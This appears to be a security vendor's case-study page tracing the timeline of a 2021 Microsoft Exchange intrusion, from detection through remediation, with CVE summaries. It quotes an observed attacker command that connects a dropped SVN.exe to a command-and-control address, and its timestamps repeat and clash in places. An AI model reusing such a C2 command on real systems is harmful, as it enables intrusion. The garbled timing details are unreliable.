Incident Response Timeline – Microsoft Exchange Vulnerability

Response Timeline

Microsoft Exchange Vulnerability TIME From Detection to Escalation: 20 MINUTES

In this real-world attack example, an Arctic Wolf customer in the construction industry experienced a vulnerability-based incident. The threat actor leveraged multiple Microsoft Exchange vulnerabilities for access, but Arctic Wolf helped this customer swiftly stop the incident and create a long-term fix for these vulnerabilities.

View Timeline Navigation

On Tuesday, March 2, 2021

one week ahead of its typical Patch Tuesday release, Microsoft released an out-of-band patch to address multiple critical vulnerabilities in Microsoft Exchange, the company’s email and calendar server.

What do these vulnerabilities mean?

5:23 am

These Vulnerabilities allowed attackers to take full control of a Microsoft Exchange Server exposed to the public internet. Microsoft reported that these vulnerabilities were being actively exploited by HAFNIUM, a threat group they describe as state-sponsored and operating out of China, with attacks dating back to at least January 6, 2021.

ATTACKER'S 5-MONTH WINDOW

  • March 2021

    Microsoft releases out-of-band patch to address multiple critical vulnerabilities within Microsoft Exchange

  • April 2021

    Microsoft releases security updates for a second set of RCE vulnerabilities within Microsoft Exchange

  • May - July 2021

    These collections of vulnerabilities are dubbed ProxyShell, with bad actors leveraging three separate vulnerabilities as part of a single attack to bypass authentication and execute code

  • August 2nd, 2021

    Customer completes onboarding with Arctic Wolf

5:00 p.m.

5:00 p.m. | Monday, August 2

Source: Customer Onboarding

Arctic Wolf Attacker icon Arctic Wolf Aurora Platform icon Arctic Wolf Customer icon Arctic Wolf Triage icon Arctic Wolf CST icon

5:23 am

[CUSTOMER] completes onboarding with Arctic Wolf five days prior with Service Delivery kicking off on Monday, August 2, 2021.

5:23 am

The Arctic Wolf Agent observesPowerShellenumeration commands on [Exchange Server] begins investigation into [User1] activity.

7:27 p.m.
2 Hours And 27 Minutes Since Attack

7:27 p.m. | Saturday, August 7

Source: Arctic Wolf Agent

Arctic Wolf Attacker icon Arctic Wolf Aurora Platform icon Arctic Wolf Customer icon Arctic Wolf Triage icon Arctic Wolf CST icon

5:23 am

The Arctic Wolf Triage Team begins investigation and confirms enumeration commands are suspicious, possible Ryuk Triage Team creates ticket and contacts [customer] .

2 Minutes Since Initial Activity

7:29 - 7:47 p.m. | Saturday, August 7

Arctic Wolf Triage Team: Investigation Begins

Arctic Wolf Attacker icon Arctic Wolf Platform icon Arctic Wolf Customer icon Arctic Wolf Triage icon Arctic Wolf CST icon

7:29 - 7:47 p.m.
7:50p.m.
2 Hours And 50 Minutes Since Attack

7:50 p.m. | Saturday, August 7

Monitoring Continues: Arctic Wolf Aurora Platform

Arctic Wolf Attacker icon Arctic Wolf Platform icon Arctic Wolf Customer icon Arctic Wolf Triage icon Arctic Wolf CST icon

5:23 am

Source: Arctic Wolf Agent SVN.exe dropped to [customer] PowerShell Command “svn.exe–connect 135.181.x.x:443 –Pass Pasword123”

Log Source: Arctic Wolf Sensor

IP 135.181.x.x associated with C2 server in Finland

3 Hours And 9 Minutes Since Attack

8:08 p.m. | Saturday, August 7 |

Source: Arctic Wolf Agent

Arctic Wolf Attacker icon Arctic Wolf Aurora Platform icon Arctic Wolf Customer icon Arctic Wolf Triage icon Arctic Wolf CST icon

8:08 p.m.
[User1] added to [Exchange Server] local Administrators Group. Credentials to local [Admin] account were reset.
3 Hours And 9 Minutes Since Attack

8:09 p.m. | Saturday, August 7

Source: SentinelOne / Arctic Wolf Agent

Arctic Wolf Attacker icon Arctic Wolf Aurora Platform icon Arctic Wolf Customer icon Arctic Wolf Triage icon Arctic Wolf CST icon

8:09 P.M.
Attempted lateral movement using [User1] to [Device 1] , [Device 2] . [Customer] offline [Customer] satisfied with containment for the moment.
Begin Post-Incident Zone
9:00 a.m.
Less than 30 Minutes Since Attack

9:00 a.m. | Monday, August 9

Remediation

Arctic Wolf Attacker icon Arctic Wolf Platform icon Arctic Wolf Customer icon Arctic Wolf Triage icon Arctic Wolf CST icon

Arctic Wolf sets up virtual call with [CUSTOMER] to step through the remediation process.

Delete SVN.exe

Delete [User1] account and reset [Admin] account

Reset credentials for any cached users on [Exchange Server]

Reset any domain credentials that accessed the server after Saturday, August 7

Implement firewall blocking rules

Next, the security journey continues

Attack Timeline:

Security journey

with our concierge security®team

Although many managed detection and response services would end once the threat was remediated, the Concierge Security® Team is focused on using this attack to improve the security posture of the customer.

The Arctic Wolf Concierge Security Team provides your team with coverage, security operations expertise, and strategically tailored security recommendations to continuously improve your overall posture.

Arctic Wolf CST initiates vulnerability scan on [User1] account and reset [Exchange Server]. The scan identifies missing critical patches dating back 6+ months, including zero-days.

[Customer] confirms their third-party patching tool is malfunctioning.

Arctic Wolf CST delivers script to identify Exchange breaches prior to Arctic Wolf onboarding, and the script identifies Backdoor:ASP/Buonpower.A!dha.

Pre-existing webshell is removed.

Multi-factor authentication (MFA) for VPN and Office 365 enabled.

GPO to prevent enumeration created.

Arctic Wolf prioritizes keeping our customers and the general public informed of new vulnerabilities and security risks.

Real-World Examples

Microsoft Exchange Vulnerabilities and Patch Guidance

In the example above, an attacker leveraged the Microsoft Exchange Vulnerabilities released in early 2021 on a customer in the construction industry.

Detailed guidance and links to available patches have been provided by Microsoft here.

These require no prior authentication for an attacker to achieve remote code execution.
CEO Fraud Icon
These require an attacker to have some level of privileges first to be able to achieve remote code execution

CVE-2021-26857 

An insecure deserialization vulnerability in the Unified Messaging service. Exploiting this vulnerability can provide an attacker with the ability to run code as SYSTEM on the Exchange Server. This vulnerability requires administrator privileges or another vulnerability to exploit. Microsoft has observed HAFNIUM chain CVE-2021-26855 with this vulnerability to authenticate using elevated privileges. 

CVE-2021-26858 and CVE-2021-27065 

These two are post-authentication arbitrary file write vulnerabilities in Exchange. 

If an attacker can authenticate with the Exchange Server, then they can use one of these vulnerabilities to write a file to any path on the server. Microsoft also observed HAFNIUM chain CVE-2021-26855 with this one to authenticate with elevated privileges. 

Arctic Wolf Helps Customers Manage Vulnerabilities

At Arctic Wolf, we help our customers develop workflows to ensure that critical risks are assigned to the right individuals within the department to identify, prioritize, and patch as quickly as possible. We keep track of known vulnerabilities you have been unable to patch and, with Arctic Wolf® Managed Detection and Response, monitor those systems for IOCs. Our Concierge Security Team works proactively to improve security posture overall within our customer, so that if a major vulnerability does hit the damage is better contained.

We're here to help.

General Questions

1-888-272-8429

Additional Resources